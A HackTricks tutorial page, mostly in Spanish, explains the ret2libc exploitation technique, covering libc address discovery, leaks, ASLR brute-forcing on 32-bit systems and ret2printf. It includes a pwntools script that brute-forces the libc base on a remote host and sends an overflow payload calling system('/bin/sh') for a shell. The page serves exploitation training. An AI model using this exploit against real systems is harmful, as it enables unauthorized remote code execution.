Ret2lib

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

La esencia de Ret2Libc es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (p. ej., system, execve, strcpy) en lugar de ejecutar shellcode provisto por el atacante en el stack. El atacante crea un payload que modifica la dirección de retorno en el stack para apuntar a la función de la biblioteca deseada, mientras también organiza que los argumentos necesarios estén correctamente preparados según la convención de llamadas.

Pasos de ejemplo (simplificados)

  • Obtener la dirección de la función a llamar (p. ej. system) y el comando a ejecutar (p. ej. /bin/sh)
  • Generar un ROP chain para pasar el primer argumento apuntando a la cadena del comando y el flujo de ejecución a la función

Finding the addresses

  • Supposing that the libc used is the one from current machine you can find where it’ll be loaded in memory with:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Si quieres comprobar si ASLR está cambiando la dirección de libc, puedes hacer:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Sabiendo la libc usada, también es posible encontrar el offset de la función system con:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Sabiendo qué libc se utiliza, también es posible encontrar el offset a la cadena /bin/sh con:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Usando gdb-peda / GEF

Conociendo la libc usada, también es posible usar Peda o GEF para obtener la dirección de la función system, de la función exit y de la cadena /bin/sh :

p system
p exit
find "/bin/sh"

Usando /proc/<PID>/maps

Si el proceso está creando hijos cada vez que hablas con él (network server) intenta leer ese archivo (probablemente necesitarás ser root).

Aquí puedes encontrar exactamente dónde está cargada la libc dentro del proceso y dónde se va a cargar para cada hijo del proceso.

En este caso está cargada en 0xb75dc000 (Esta será la dirección base de libc)

libc desconocida

Podría ser posible que no conozcas la libc que el binario está cargando (porque podría estar ubicada en un servidor donde no tienes acceso). En ese caso podrías abusar de la vulnerabilidad para leak algunas direcciones y encontrar qué libc se está usando:

Leaking libc address with ROP

Y puedes encontrar una plantilla de pwntools para esto en:

Leaking libc - template

Identificar libc con 2 offsets

Consulta la página https://libc.blukat.me/ y usa un par de direcciones de funciones dentro de la libc para averiguar la versión utilizada.

Bypassing ASLR en sistemas de 32 bits

Estos ataques de fuerza bruta son útiles solo para sistemas de 32 bits.

  • Si el exploit es local, puedes intentar forzar por fuerza bruta la dirección base de libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Si atacas un remote server, podrías intentar burte-force la dirección de la función usleep de libc, pasando como argumento 10 (por ejemplo). Si en algún momento el server tarda 10s extra en responder, encontraste la dirección de esta función.

One Gadget

Ejecuta una shell simplemente saltando a una dirección específica en libc:

One Gadget

x86 Ret2lib Code Example

En este ejemplo ASLR brute-force está integrado en el código y el vulnerable binary está ubicado en un remote server:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Ejemplo de código x64 Ret2lib

Check the example from:

ROP & JOP

Ejemplo ARM64 Ret2lib

En el caso de ARM64, la instrucción ret salta adonde apunte el registro x30 y no adonde apunte el registro de la pila. Así que es un poco más complicado.

También en ARM64 una instrucción hace lo que hace la instrucción (no es posible saltar en medio de instrucciones y transformarlas en nuevas).

Check the example from:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

Esto permite leak información del proceso llamando a printf/puts con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de puts en la GOT en una ejecución de puts hará que se leak la dirección de puts en memoria.

Ret2printf

Esto básicamente significa abusar de una Ret2lib to transform it into a printf format strings vulnerability usando el ret2lib para llamar a printf con los valores para explotarla (suena inútil, pero es posible):

Format Strings

Otros ejemplos y referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks